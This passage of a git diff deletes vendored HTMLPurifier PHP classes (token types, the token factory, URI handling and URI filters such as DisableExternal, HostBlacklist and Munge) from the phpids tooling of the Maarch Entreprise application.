{ - $new_tag = clone $tag; - $new_tag->name = $this->transform_to; - if (!is_null($this->style) && - ($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty) - ) { - $this->prependCSS($new_tag->attr, $this->style); - } - return $new_tag; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token.php deleted file mode 100755 index 667ded1e6ccdc3f0b6ade55a77c15d8f60614558..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token.php +++ /dev/null @@ -1,57 +0,0 @@ -<?php - -/** - * Abstract base token class that all others inherit from. - */ -class HTMLPurifier_Token { - public $line; /**< Line number node was on in source document. Null if unknown. */ - public $col; /**< Column of line node was on in source document. Null if unknown. */ - - /** - * Lookup array of processing that this token is exempt from. - * Currently, valid values are "ValidateAttributes" and - * "MakeWellFormed_TagClosedError" - */ - public $armor = array(); - - /** - * Used during MakeWellFormed. - */ - public $skip; - public $rewind; - public $carryover; - - public function __get($n) { - if ($n === 'type') { - trigger_error('Deprecated type property called; use instanceof', E_USER_NOTICE); - switch (get_class($this)) { - case 'HTMLPurifier_Token_Start': return 'start'; - case 'HTMLPurifier_Token_Empty': return 'empty'; - case 'HTMLPurifier_Token_End': return 'end'; - case 'HTMLPurifier_Token_Text': return 'text'; - case 'HTMLPurifier_Token_Comment': return 'comment'; - default: return null; - } - } - } - - /** - * Sets the position of the token in the source document. - */ - public function position($l = null, $c = null) { - $this->line = $l; - $this->col = $c; - } - - /** - * Convenience function for DirectLex settings line/col position. - */ - public function rawPosition($l, $c) { - if ($c === -1) $l++; - $this->line = $l; - $this->col = $c; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Comment.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Comment.php deleted file mode 100755 index 28f1e81dca5b24fc286459678cf9245fadfe1bf0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Comment.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -/** - * Concrete comment token class. Generally will be ignored. - */ -class HTMLPurifier_Token_Comment extends HTMLPurifier_Token -{ - public $data; /**< Character data within comment. */ - public $is_whitespace = true; - /** - * Transparent constructor. - * - * @param $data String comment data. - */ - public function __construct($data, $line = null, $col = null) { - $this->data = $data; - $this->line = $line; - $this->col = $col; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Empty.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Empty.php deleted file mode 100755 index 0b1ee9b08b14c898707e2fdc6908e09601c1b770..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Empty.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -/** - * Concrete empty token class. - */ -class HTMLPurifier_Token_Empty extends HTMLPurifier_Token_Tag -{ - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/End.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/End.php deleted file mode 100755 index 2adb76715e105f98592782cd603487df98a6f1f7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/End.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -/** - * Concrete end token class. - * - * @warning This class accepts attributes even though end tags cannot. This - * is for optimization reasons, as under normal circumstances, the Lexers - * do not pass attributes. - */ -class HTMLPurifier_Token_End extends HTMLPurifier_Token_Tag -{ - /** - * Token that started this node. Added by MakeWellFormed. Please - * do not edit this! - */ - public $start; -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Start.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Start.php deleted file mode 100755 index ec4f4232210138edfb53b79b4ebdf91cfecdd078..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Start.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -/** - * Concrete start token class. - */ -class HTMLPurifier_Token_Start extends HTMLPurifier_Token_Tag -{ - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Tag.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Tag.php deleted file mode 100755 index 9268427c6040071cd3c40a523cca635cc1e21fc1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Tag.php +++ /dev/null @@ -1,57 +0,0 @@ -<?php - -/** - * Abstract class of a tag token (start, end or empty), and its behavior. - */ -class HTMLPurifier_Token_Tag extends HTMLPurifier_Token -{ - /** - * Static bool marker that indicates the class is a tag. - * - * This allows us to check objects with <tt>!empty($obj->is_tag)</tt> - * without having to use a function call <tt>is_a()</tt>. - */ - public $is_tag = true; - - /** - * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. - * - * @note Strictly speaking, XML tags are case sensitive, so we shouldn't - * be lower-casing them, but these tokens cater to HTML tags, which are - * insensitive. - */ - public $name; - - /** - * Associative array of the tag's attributes. - */ - public $attr = array(); - - /** - * Non-overloaded constructor, which lower-cases passed tag name. - * - * @param $name String name. - * @param $attr Associative array of attributes. - */ - public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) { - $this->name = ctype_lower($name) ? $name : strtolower($name); - foreach ($attr as $key => $value) { - // normalization only necessary when key is not lowercase - if (!ctype_lower($key)) { - $new_key = strtolower($key); - if (!isset($attr[$new_key])) { - $attr[$new_key] = $attr[$key]; - } - if ($new_key !== $key) { - unset($attr[$key]); - } - } - } - $this->attr = $attr; - $this->line = $line; - $this->col = $col; - $this->armor = $armor; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Text.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Text.php deleted file mode 100755 index a775cf0c4849a87b9d6f5625d4b509528d290f6b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Text.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -/** - * Concrete text token class. - * - * Text tokens comprise of regular parsed character data (PCDATA) and raw - * character data (from the CDATA sections). Internally, their - * data is parsed with all entities expanded. Surprisingly, the text token - * does have a "tag name" called #PCDATA, which is how the DTD represents it - * in permissible child nodes. - */ -class HTMLPurifier_Token_Text extends HTMLPurifier_Token -{ - - public $name = '#PCDATA'; /**< PCDATA tag name compatible with DTD. */ - public $data; /**< Parsed character data of text. */ - public $is_whitespace; /**< Bool indicating if node is whitespace. */ - - /** - * Constructor, accepts data and determines if it is whitespace. - * - * @param $data String parsed character data. - */ - public function __construct($data, $line = null, $col = null) { - $this->data = $data; - $this->is_whitespace = ctype_space($data); - $this->line = $line; - $this->col = $col; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TokenFactory.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TokenFactory.php deleted file mode 100755 index 7bdd9f76b37eac62d180fd44d69058cc04f47283..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TokenFactory.php +++ /dev/null @@ -1,94 +0,0 @@ -<?php - -/** - * Factory for token generation. - * - * @note Doing some benchmarking indicates that the new operator is much - * slower than the clone operator (even discounting the cost of the - * constructor). This class is for that optimization. - * Other then that, there's not much point as we don't - * maintain parallel HTMLPurifier_Token hierarchies (the main reason why - * you'd want to use an abstract factory). - * @todo Port DirectLex to use this - */ -class HTMLPurifier_TokenFactory -{ - - /** - * Prototypes that will be cloned. - * @private - */ - // p stands for prototype - private $p_start, $p_end, $p_empty, $p_text, $p_comment; - - /** - * Generates blank prototypes for cloning. - */ - public function __construct() { - $this->p_start = new HTMLPurifier_Token_Start('', array()); - $this->p_end = new HTMLPurifier_Token_End(''); - $this->p_empty = new HTMLPurifier_Token_Empty('', array()); - $this->p_text = new HTMLPurifier_Token_Text(''); - $this->p_comment= new HTMLPurifier_Token_Comment(''); - } - - /** - * Creates a HTMLPurifier_Token_Start. - * @param $name Tag name - * @param $attr Associative array of attributes - * @return Generated HTMLPurifier_Token_Start - */ - public function createStart($name, $attr = array()) { - $p = clone $this->p_start; - $p->__construct($name, $attr); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_End. - * @param $name Tag name - * @return Generated HTMLPurifier_Token_End - */ - public function createEnd($name) { - $p = clone $this->p_end; - $p->__construct($name); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Empty. - * @param $name Tag name - * @param $attr Associative array of attributes - * @return Generated HTMLPurifier_Token_Empty - */ - public function createEmpty($name, $attr = array()) { - $p = clone $this->p_empty; - $p->__construct($name, $attr); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Text. - * @param $data Data of text token - * @return Generated HTMLPurifier_Token_Text - */ - public function createText($data) { - $p = clone $this->p_text; - $p->__construct($data); - return $p; - } - - /** - * Creates a HTMLPurifier_Token_Comment. - * @param $data Data of comment token - * @return Generated HTMLPurifier_Token_Comment - */ - public function createComment($data) { - $p = clone $this->p_comment; - $p->__construct($data); - return $p; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php deleted file mode 100755 index dad5a06cb1984b21fa6922f0886dea56749c8503..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php +++ /dev/null @@ -1,204 +0,0 @@ -<?php - -/** - * HTML Purifier's internal representation of a URI. - * @note - * Internal data-structures are completely escaped. If the data needs - * to be used in a non-URI context (which is very unlikely), be sure - * to decode it first. The URI may not necessarily be well-formed until - * validate() is called. - */ -class HTMLPurifier_URI -{ - - public $scheme, $userinfo, $host, $port, $path, $query, $fragment; - - /** - * @note Automatically normalizes scheme and port - */ - public function __construct($scheme, $userinfo, $host, $port, $path, $query, $fragment) { - $this->scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); - $this->userinfo = $userinfo; - $this->host = $host; - $this->port = is_null($port) ? $port : (int) $port; - $this->path = $path; - $this->query = $query; - $this->fragment = $fragment; - } - - /** - * Retrieves a scheme object corresponding to the URI's scheme/default - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Scheme object appropriate for validating this URI - */ - public function getSchemeObj($config, $context) { - $registry = HTMLPurifier_URISchemeRegistry::instance(); - if ($this->scheme !== null) { - $scheme_obj = $registry->getScheme($this->scheme, $config, $context); - if (!$scheme_obj) return false; // invalid scheme, clean it out - } else { - // no scheme: retrieve the default one - $def = $config->getDefinition('URI'); - $scheme_obj = $registry->getScheme($def->defaultScheme, $config, $context); - if (!$scheme_obj) { - // something funky happened to the default scheme object - trigger_error( - 'Default scheme object "' . $def->defaultScheme . '" was not readable', - E_USER_WARNING - ); - return false; - } - } - return $scheme_obj; - } - - /** - * Generic validation method applicable for all schemes. May modify - * this URI in order to get it into a compliant form. - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return True if validation/filtering succeeds, false if failure - */ - public function validate($config, $context) { - - // ABNF definitions from RFC 3986 - $chars_sub_delims = '!$&\'()*+,;='; - $chars_gen_delims = ':/?#[]@'; - $chars_pchar = $chars_sub_delims . ':@'; - - // validate host - if (!is_null($this->host)) { - $host_def = new HTMLPurifier_AttrDef_URI_Host(); - $this->host = $host_def->validate($this->host, $config, $context); - if ($this->host === false) $this->host = null; - } - - // validate scheme - // NOTE: It's not appropriate to check whether or not this - // scheme is in our registry, since a URIFilter may convert a - // URI that we don't allow into one we do. So instead, we just - // check if the scheme can be dropped because there is no host - // and it is our default scheme. - if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') { - // support for relative paths is pretty abysmal when the - // scheme is present, so axe it when possible - $def = $config->getDefinition('URI'); - if ($def->defaultScheme === $this->scheme) { - $this->scheme = null; - } - } - - // validate username - if (!is_null($this->userinfo)) { - $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':'); - $this->userinfo = $encoder->encode($this->userinfo); - } - - // validate port - if (!is_null($this->port)) { - if ($this->port < 1 || $this->port > 65535) $this->port = null; - } - - // validate path - $path_parts = array(); - $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/'); - if (!is_null($this->host)) { // this catches $this->host === '' - // path-abempty (hier and relative) - // http://www.example.com/my/path - // //www.example.com/my/path (looks odd, but works, and - // recognized by most browsers) - // (this set is valid or invalid on a scheme by scheme - // basis, so we'll deal with it later) - // file:///my/path - // ///my/path - $this->path = $segments_encoder->encode($this->path); - } elseif ($this->path !== '') { - if ($this->path[0] === '/') { - // path-absolute (hier and relative) - // http:/my/path - // /my/path - if (strlen($this->path) >= 2 && $this->path[1] === '/') { - // This could happen if both the host gets stripped - // out - // http://my/path - // //my/path - $this->path = ''; - } else { - $this->path = $segments_encoder->encode($this->path); - } - } elseif (!is_null($this->scheme)) { - // path-rootless (hier) - // http:my/path - // Short circuit evaluation means we don't need to check nz - $this->path = $segments_encoder->encode($this->path); - } else { - // path-noscheme (relative) - // my/path - // (once again, not checking nz) - $segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@'); - $c = strpos($this->path, '/'); - if ($c !== false) { - $this->path = - $segment_nc_encoder->encode(substr($this->path, 0, $c)) . - $segments_encoder->encode(substr($this->path, $c)); - } else { - $this->path = $segment_nc_encoder->encode($this->path); - } - } - } else { - // path-empty (hier and relative) - $this->path = ''; // just to be safe - } - - // qf = query and fragment - $qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?'); - - if (!is_null($this->query)) { - $this->query = $qf_encoder->encode($this->query); - } - - if (!is_null($this->fragment)) { - $this->fragment = $qf_encoder->encode($this->fragment); - } - - return true; - - } - - /** - * Convert URI back to string - * @return String URI appropriate for output - */ - public function toString() { - // reconstruct authority - $authority = null; - // there is a rendering difference between a null authority - // (http:foo-bar) and an empty string authority - // (http:///foo-bar). - if (!is_null($this->host)) { - $authority = ''; - if(!is_null($this->userinfo)) $authority .= $this->userinfo . '@'; - $authority .= $this->host; - if(!is_null($this->port)) $authority .= ':' . $this->port; - } - - // Reconstruct the result - // One might wonder about parsing quirks from browsers after - // this reconstruction. Unfortunately, parsing behavior depends - // on what *scheme* was employed (file:///foo is handled *very* - // differently than http:///foo), so unfortunately we have to - // defer to the schemes to do the right thing. - $result = ''; - if (!is_null($this->scheme)) $result .= $this->scheme . ':'; - if (!is_null($authority)) $result .= '//' . $authority; - $result .= $this->path; - if (!is_null($this->query)) $result .= '?' . $this->query; - if (!is_null($this->fragment)) $result .= '#' . $this->fragment; - - return $result; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIDefinition.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIDefinition.php deleted file mode 100755 index b980e0a369af3481f4c52d31f8aeb85553e48a14..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIDefinition.php +++ /dev/null @@ -1,93 +0,0 @@ -<?php - -class HTMLPurifier_URIDefinition extends HTMLPurifier_Definition -{ - - public $type = 'URI'; - protected $filters = array(); - protected $postFilters = array(); - protected $registeredFilters = array(); - - /** - * HTMLPurifier_URI object of the base specified at %URI.Base - */ - public $base; - - /** - * String host to consider "home" base, derived off of $base - */ - public $host; - - /** - * Name of default scheme based on %URI.DefaultScheme and %URI.Base - */ - public $defaultScheme; - - public function __construct() { - $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternal()); - $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources()); - $this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist()); - $this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute()); - $this->registerFilter(new HTMLPurifier_URIFilter_Munge()); - } - - public function registerFilter($filter) { - $this->registeredFilters[$filter->name] = $filter; - } - - public function addFilter($filter, $config) { - $r = $filter->prepare($config); - if ($r === false) return; // null is ok, for backwards compat - if ($filter->post) { - $this->postFilters[$filter->name] = $filter; - } else { - $this->filters[$filter->name] = $filter; - } - } - - protected function doSetup($config) { - $this->setupMemberVariables($config); - $this->setupFilters($config); - } - - protected function setupFilters($config) { - foreach ($this->registeredFilters as $name => $filter) { - $conf = $config->get('URI.' . $name); - if ($conf !== false && $conf !== null) { - $this->addFilter($filter, $config); - } - } - unset($this->registeredFilters); - } - - protected function setupMemberVariables($config) { - $this->host = $config->get('URI.Host'); - $base_uri = $config->get('URI.Base'); - if (!is_null($base_uri)) { - $parser = new HTMLPurifier_URIParser(); - $this->base = $parser->parse($base_uri); - $this->defaultScheme = $this->base->scheme; - if (is_null($this->host)) $this->host = $this->base->host; - } - if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI.DefaultScheme'); - } - - public function filter(&$uri, $config, $context) { - foreach ($this->filters as $name => $f) { - $result = $f->filter($uri, $config, $context); - if (!$result) return false; - } - return true; - } - - public function postFilter(&$uri, $config, $context) { - foreach ($this->postFilters as $name => $f) { - $result = $f->filter($uri, $config, $context); - if (!$result) return false; - } - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter.php deleted file mode 100755 index 5faf0ae942bb907f54ed9d258a87996b22640e64..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter.php +++ /dev/null @@ -1,45 +0,0 @@ -<?php - -/** - * Chainable filters for custom URI processing. - * - * These filters can perform custom actions on a URI filter object, - * including transformation or blacklisting. - * - * @warning This filter is called before scheme object validation occurs. - * Make sure, if you require a specific scheme object, you - * you check that it exists. This allows filters to convert - * proprietary URI schemes into regular ones. - */ -abstract class HTMLPurifier_URIFilter -{ - - /** - * Unique identifier of filter - */ - public $name; - - /** - * True if this filter should be run after scheme validation. - */ - public $post = false; - - /** - * Performs initialization for the filter - */ - public function prepare($config) {return true;} - - /** - * Filter a URI object - * @param $uri Reference to URI object variable - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return bool Whether or not to continue processing: false indicates - * URL is no good, true indicates continue processing. Note that - * all changes are committed directly on the URI object - */ - abstract public function filter(&$uri, $config, $context); - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternal.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternal.php deleted file mode 100755 index 0b23dcff393e2c8a04b79d08867e61b6d3d7c9da..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternal.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -class HTMLPurifier_URIFilter_DisableExternal extends HTMLPurifier_URIFilter -{ - public $name = 'DisableExternal'; - protected $ourHostParts = false; - public function prepare($config) { - $our_host = $config->getDefinition('URI')->host; - if ($our_host !== null) $this->ourHostParts = array_reverse(explode('.', $our_host)); - } - public function filter(&$uri, $config, $context) { - if (is_null($uri->host)) return true; - if ($this->ourHostParts === false) return false; - $host_parts = array_reverse(explode('.', $uri->host)); - foreach ($this->ourHostParts as $i => $x) { - if (!isset($host_parts[$i])) return false; - if ($host_parts[$i] != $this->ourHostParts[$i]) return false; - } - return true; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternalResources.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternalResources.php deleted file mode 100755 index 4423ffa02ce110544eb0ce8e3deae381cce88f14..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternalResources.php +++ /dev/null @@ -1,12 +0,0 @@ -<?php - -class HTMLPurifier_URIFilter_DisableExternalResources extends HTMLPurifier_URIFilter_DisableExternal -{ - public $name = 'DisableExternalResources'; - public function filter(&$uri, $config, $context) { - if (!$context->get('EmbeddedURI', true)) return true; - return parent::filter($uri, $config, $context); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableResources.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableResources.php deleted file mode 100755 index 5f7c3a04d388f1d37d73267c18cb2627cd41acfc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableResources.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -class HTMLPurifier_URIFilter_DisableResources extends HTMLPurifier_URIFilter -{ - public $name = 'DisableResources'; - public function filter(&$uri, $config, $context) { - return !$context->get('EmbeddedURI', true); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/HostBlacklist.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/HostBlacklist.php deleted file mode 100755 index 073ba5a7060f3cacdae6cd436144b0a9bd797e80..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/HostBlacklist.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -class HTMLPurifier_URIFilter_HostBlacklist extends HTMLPurifier_URIFilter -{ - public $name = 'HostBlacklist'; - protected $blacklist = array(); - public function prepare($config) { - $this->blacklist = $config->get('URI.HostBlacklist'); - return true; - } - public function filter(&$uri, $config, $context) { - foreach($this->blacklist as $blacklisted_host_fragment) { - if (strpos($uri->host, $blacklisted_host_fragment) !== false) { - return false; - } - } - return true; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php deleted file mode 100755 index c1a2e039b982ff6dc6572c4d2e3ff2361ca3af10..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/MakeAbsolute.php +++ /dev/null @@ -1,114 +0,0 @@ -<?php - -// does not support network paths - -class HTMLPurifier_URIFilter_MakeAbsolute extends HTMLPurifier_URIFilter -{ - public $name = 'MakeAbsolute'; - protected $base; - protected $basePathStack = array(); - public function prepare($config) { - $def = $config->getDefinition('URI'); - $this->base = $def->base; - if (is_null($this->base)) { - trigger_error('URI.MakeAbsolute is being ignored due to lack of value for URI.Base configuration', E_USER_WARNING); - return false; - } - $this->base->fragment = null; // fragment is invalid for base URI - $stack = explode('/', $this->base->path); - array_pop($stack); // discard last segment - $stack = $this->_collapseStack($stack); // do pre-parsing - $this->basePathStack = $stack; - return true; - } - public function filter(&$uri, $config, $context) { - if (is_null($this->base)) return true; // abort early - if ( - $uri->path === '' && is_null($uri->scheme) && - is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment) - ) { - // reference to current document - $uri = clone $this->base; - return true; - } - if (!is_null($uri->scheme)) { - // absolute URI already: don't change - if (!is_null($uri->host)) return true; - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) { - // scheme not recognized - return false; - } - if (!$scheme_obj->hierarchical) { - // non-hierarchal URI with explicit scheme, don't change - return true; - } - // special case: had a scheme but always is hierarchical and had no authority - } - if (!is_null($uri->host)) { - // network path, don't bother - return true; - } - if ($uri->path === '') { - $uri->path = $this->base->path; - } elseif ($uri->path[0] !== '/') { - // relative path, needs more complicated processing - $stack = explode('/', $uri->path); - $new_stack = array_merge($this->basePathStack, $stack); - if ($new_stack[0] !== '' && !is_null($this->base->host)) { - array_unshift($new_stack, ''); - } - $new_stack = $this->_collapseStack($new_stack); - $uri->path = implode('/', $new_stack); - } else { - // absolute path, but still we should collapse - $uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path))); - } - // re-combine - $uri->scheme = $this->base->scheme; - if (is_null($uri->userinfo)) $uri->userinfo = $this->base->userinfo; - if (is_null($uri->host)) $uri->host = $this->base->host; - if (is_null($uri->port)) $uri->port = $this->base->port; - return true; - } - - /** - * Resolve dots and double-dots in a path stack - */ - private function _collapseStack($stack) { - $result = array(); - $is_folder = false; - for ($i = 0; isset($stack[$i]); $i++) { - $is_folder = false; - // absorb an internally duplicated slash - if ($stack[$i] == '' && $i && isset($stack[$i+1])) continue; - if ($stack[$i] == '..') { - if (!empty($result)) { - $segment = array_pop($result); - if ($segment === '' && empty($result)) { - // error case: attempted to back out too far: - // restore the leading slash - $result[] = ''; - } elseif ($segment === '..') { - $result[] = '..'; // cannot remove .. with .. - } - } else { - // relative path, preserve the double-dots - $result[] = '..'; - } - $is_folder = true; - continue; - } - if ($stack[$i] == '.') { - // silently absorb - $is_folder = true; - continue; - } - $result[] = $stack[$i]; - } - if ($is_folder) $result[] = ''; - return $result; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/Munge.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/Munge.php deleted file mode 100755 index 4e9e7a131294892d8a065fd2a2dbeef0e5a41fa8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/Munge.php +++ /dev/null @@ -1,58 +0,0 @@ -<?php - -class HTMLPurifier_URIFilter_Munge extends HTMLPurifier_URIFilter -{ - public $name = 'Munge'; - public $post = true; - private $target, $parser, $doEmbed, $secretKey; - - protected $replace = array(); - - public function prepare($config) { - $this->target = $config->get('URI.' . $this->name); - $this->parser = new HTMLPurifier_URIParser(); - $this->doEmbed = $config->get('URI.MungeResources'); - $this->secretKey = $config->get('URI.MungeSecretKey'); - return true; - } - public function filter(&$uri, $config, $context) { - if ($context->get('EmbeddedURI', true) && !$this->doEmbed) return true; - - $scheme_obj = $uri->getSchemeObj($config, $context); - if (!$scheme_obj) return true; // ignore unknown schemes, maybe another postfilter did it - if (is_null($uri->host) || empty($scheme_obj->browsable)) { - return true; - } - // don't redirect if target host is our host - if ($uri->host === $config->getDefinition('URI')->host) { - return true; - } - - $this->makeReplace($uri, $config, $context); - $this->replace = array_map('rawurlencode', $this->replace); - - $new_uri = strtr($this->target, $this->replace); - $new_uri = $this->parser->parse($new_uri); - // don't redirect if the target host is the same as the - // starting host - if ($uri->host === $new_uri->host) return true; - $uri = $new_uri; // overwrite - return true; - } - - protected function makeReplace($uri, $config, $context) { - $string = $uri->toString(); - // always available - $this->replace['%s'] = $string; - $this->replace['%r'] = $context->get('EmbeddedURI', true); - $token = $context->get('CurrentToken', true); - $this->replace['%n'] = $token ? $token->name : null; - $this->replace['%m'] = $context->get('CurrentAttr', true); - $this->replace['%p'] = $context->get('CurrentCSSProperty', true); - // not always available - if ($this->secretKey) $this->replace['%t'] = sha1($this->secretKey . ':' . $string); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIParser.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIParser.php deleted file mode 100755 index 374b4f2bdb4b13d06ab6d7ac74c02cc301687e76..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIParser.php +++ /dev/null @@ -1,70 +0,0 @@ 